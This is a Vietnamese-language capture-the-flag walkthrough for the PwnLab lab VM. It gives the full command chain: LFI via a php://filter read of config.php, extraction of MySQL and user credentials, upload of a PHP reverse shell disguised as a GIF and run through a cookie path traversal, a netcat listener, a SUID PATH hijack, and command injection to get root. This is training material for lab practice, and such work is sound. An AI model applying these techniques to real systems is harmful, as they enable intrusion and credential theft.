Thử nghiệm thâm nhập CEHack trong PwnLab (Thử thách CTF)

Trong bài viết này, chúng tôi sẽ hướng dẫn thử thách kiểm tra thâm nhập boot2root , tức là PwnLab. PwbLab là một khung dễ bị tổn thương, dựa trên khái niệm CTF , với một chút bảo mật nên hơi phức tạp để vượt qua. Nhưng nó không phải là không thể. Vì vậy, chúng ta hãy tìm hiểu làm thế nào chúng ta có thể có được quyền truy cập.

Tải xuống từ đây

Penetrating Methodology:

  • Network Scanning (Nmap, netdiscover)
  • Information Gathering (Nikto)
  • Abusing config.php file (curl & PHP filter convert)
  • Obtain Mysql Database credential
  • Extract user credential from Mysql Database
  • Login to web application
  • Upload webshell (PHP reverse shell)
  • Executing Uploaded PHP backdoor (Burp suit)
  • Netcat session
  • Import python one-liner for proper TTY shell
  • Find SUID Binaries
  • Privilege Escalation by Manipulating $PATH
  • Get Root access and capture the flag.

Hãy bắt đầu Tấn Công !!!

Bây giờ để bắt đầu, trước tiên, hãy xem xét rằng chúng ta không biết IP của PwnLab, do đó, hãy tìm kiếm địa chỉ IP trước và để biết rằng có một lệnh hiển thị cho chúng ta tất cả IP hiện có trong mạng của chúng ta, vì vậy hãy truy cập thiết bị đầu cuối của bạn Kali và gõ:

netdiscover

IP mục tiêu = 192.168.1.103

Và để biết rằng chúng tôi bắt đầu thử nghiệm thâm nhập của mình. Vì vậy, trước tiên, bây giờ chúng tôi sẽ quét bằng nmap , chúng tôi sẽ áp dụng quét tích cực vì nó cung cấp thông tin chi tiết và nhanh chóng. Lệnh là:

nmap -A 192.168.1.103

Chúng ta có kết quả quét và như bạn có thể thấy, chỉ có ba cổng đang mở và chúng là 80, 111, 3306. Và hãy kiểm tra IP này trên trình duyệt của mình. Trong trình duyệt, chúng ta có thể thấy rằng PwnLab có ba trang: trang Home, Login và Upload . Để vào máy chủ, ta phải tải mã của mình lên đó và tôi phải biết tên người dùng và mật khẩu.

Bây giờ, ta sẽ sử dụng lệnh Nikto để tìm ra tệp đang lưu trữ chúng. Nikto giúp ta biết tất cả các tên tệp và dữ liệu chứa trong đó.

nito -h http://192.168.1.103

Như bạn có thể thấy /config.php: Tệp cấu hình PHP có thể chứa ID cơ sở dữ liệu và mật khẩu là tệp có tên người dùng và mật khẩu. Hơn nữa, login.php cho trang đăng nhập quản trị được tìm thấy.

Vì vậy, khi mở IP mục tiêu trên trình duyệt và khám phá tab Login thì thấy đưa ra biểu mẫu đăng nhập như hình bên dưới. Vì ta không biết về thông tin xác thực đăng nhập của nó nên thử các kỹ thuật SQL injection nhưng hiện tại không có gì hữu ích và tùy chọn cuối cùng là sử dụng CURL. Nếu bạn quan sát thấy URL http://192.168.1.103/?page=login thì bạn có thể tin rằng nó trông giống như bị LFI .

Nhưng không dễ để có được nhiều thông tin chính xác bằng cách khai thác LFI với sự trợ giúp của ../etc/password, do đó, bằng cách nỗ lực hơn một chút và nhận trợ giúp từ bài viết này, ta đã sử dụng lệnh curl để tìm ra dữ liệu từ cấu hình bên trong. php với sự trợ giúp của PHP base64-encode.

curl http://192.168.1.103/index.php?page=php://filter/convert.base64-encode/resource=config

Và phần được tô sáng của hình trên là kết quả và ta có thông tin về tên người dùng và mật khẩu. Nhưng lưu ý rằng thông tin ở dạng mã base64 mà ta sẽ phải giải mã để đọc nó. Để giải mã, sao chép văn bản cơ sở 64 và làm theo cú pháp dưới đây.

echo 'base 64 encoded text' | base64 -d

Ta tìm thấy các thông tin sau sau khi giải mã.

$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";

Vậy, tên người dùng là root và mật khẩu là H4u%QJ_H99.

Bây giờ sử dụng lệnh MySQL để xem tên người dùng và mật khẩu. Và lệnh SQL là:

mysql -h 192.168.1.103 -u root -p Users

Sau khi gõ lệnh nó hỏi mật khẩu nên ở đây at nhập mật khẩu đã giải mã phần trên và nhấn enter.

kent | Sld6WHVCskpOeQ
mik | U0lmZHNURW42SQ
kane | aVN2NVltMkdSbw

Và như vậy, bạn sẽ có tên người dùng và mật khẩu như trong trường hợp này, tên người dùng là kent, mike, kane với mật khẩu ở mã base64.

Để giải mã từng mật khẩu, hãy làm theo cùng một phương pháp bằng cách sử dụng lệnh echo với tùy chọn -d như được hiển thị và do đó bạn sẽ giải mã được mật khẩu.

Kent: JWzXuBJJNy
Mike: SIfdsTEn6I
Kane: Sv5Ym2GRo

Bằng cách sử dụng thông tin xác thực của kane, tôi đã đăng nhập thành công, sau đó với sự trợ giúp của tùy chọn tải lên, chúng tôi có thể tải lên bất kỳ hình ảnh nào.

Ở đây, tùy chọn tải lên giống như một cơ hội năng động cho chúng ta , bởi vì thông qua đó, các bạn có thể tải lên bất kỳ tệp cửa hậu nào cho các kết nối ngược. Chúng tôi biết rằng trong Kali Linux có một số backdoor PHP trong số những cửa hậu chúng tôi đã sử dụng usr/share/webshell/php/php-reverse-shell. NHƯNG bạn cần sửa đổi nó bằng cách thêm GIF98 và lưu dưới dạng shell.gif vì ở đây bạn chỉ có thể tải lên tệp có phần mở rộng GIF, png và img.

Sau khi thay đổi phần mở rộng bạn sẽ tải lên thành công. Bây giờ, tệp đã tải lên phải được thực thi cùng một lúc để đạt được kết nối ngược. Sau khi tệp được tải lên, chúng tôi vẫn cần một cách để thực thi tệp này. Và để nhấp chuột phải vào tệp đó và nhấp vào tùy chọn sao chép vị trí hình ảnh . Hơn nữa, hãy mở một thiết bị đầu cuối mới để bắt đầu Netcat để lắng nghe kết nối ngược lại.

nc-lvp 1234

Bây giờ nắm bắt yêu cầu HTTP của nó bên trong burp hoặc dữ liệu giả mạo. Ở đây, nó cho thấy rằng tham số “lang” được đặt làm cookie và có thể nó có thể được sử dụng để thực thi tệp độc hại của chúng tôi. Bên trong tùy chọn cookie xóa bất cứ thứ gì đã được viết và gõ:

lang=../*Image location path*

Đây,

*đường dẫn vị trí hình ảnh* là đường dẫn của tệp mà bạn đã tải lên và đã sao chép tệp đó sau đó.

Khi các thay đổi đã nói ở trên được thực hiện, sau đó chuyển tiếp yêu cầu bị chặn và mở thiết bị đầu cuối nơi trình nghe netcat được kích hoạt tại đây, bạn sẽ tìm thấy kết nối ngược lại của máy nạn nhân. Để truy cập tty shell thích hợp, hãy thực thi lệnh bên dưới, hãy bắt đầu thâm nhập nhiều hơn để lấy cờ.

python -c 'import pty; pty.spawn("/bin/bash")'
cd /home
ls
su kane
iSv5Ym2GRo

Ở đây,

su -> biểu thị người dùng chuyển đổi

kane -> người dùng bạn muốn chuyển sang

iSv5Ym2GRo -> là mật khẩu

Tiếp theo, nếu bạn gõ lệnh ls , bạn sẽ thấy có một thư mục có tên home trong người dùng mà chúng ta vừa nhập. V

cd home
ls
cd kane
ls

Sau đó, bằng cách sử dụng lệnh sau, bạn có thể liệt kê tất cả các tệp nhị phân có quyền SUID.

find / -perm -u=s -type f 2>/dev/null

Như bạn có thể thấy trong hình bên dưới, có một tệp trong người dùng kane có tên là msgmike. Hãy thử chạy nó , gõ:

./msgmike

Vì vậy, chúng tôi sẽ thử chạy tệp msgmike, nó đưa ra thông báo lỗi “cat: /home/mike/msg.txt No such file or directory”

Điều quan trọng nhất cần được xem xét ở đây là tác giả đã BẬT SUID bitcho tệp msgmike và có thể có bất kỳ tệp chương trình nhỏ nào đang gọi các nhị phân hệ thống chẳng hạn như cat thành tệp đọc từ bên trong đường dẫn đã cho, tức là /home/mike /msg.txt nhưng cat không tìm thấy tệp hoặc thư mục msg.txt. Tận dụng lợi thế của nó, chúng tôi sẽ cố gắng thao tác biến môi trường PATH để cat thực thi lệnh /bin/bash của chúng tôi dưới người dùng Mike.

Để làm điều này, hãy làm theo các bước dưới đây:

echo $PATH
echo '/bin/bash' > cat
chmod 777 cat
export PATH=./:$PATH

Bây giờ hãy chạy lại tệp tin msgmike và bạn sẽ nhận được quyền truy cập của người dùng Mike. Do đó, ở trên, tất cả các bước được thực hiện theo hướng leo thang đặc quyền cho người dùng Mike nhưng việc leo thang gốc được kết nối với giai đoạn gián tiếp vì mike có một tệp msg2root sẽ nhận bất kỳ lệnh Đầu vào nào làm thông báo cho gốc.

Vì vậy, khi bạn chạy tệp msg2root, nó sẽ yêu cầu bạn nhập thông báo cho root, thông báo này sẽ được coi là giá trị đầu vào và bạn có thể tận dụng cơ hội này để leo thang đặc quyền như được hiển thị.

./msg2root
test; /bin/sh
id
cd /root
cat flag.txt

HURRAYYYYYYYYYYYYY!! Chúng ta đạt được Mục tiêu và giải quyết những thách thức này.

Tác giả: Yashika Dhir

Biên soạn và Tổng hợp CEH VIETNAM


Trả lời

Bạn cần phải đăng nhập để gửi bình luận:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s

%d người thích bài này: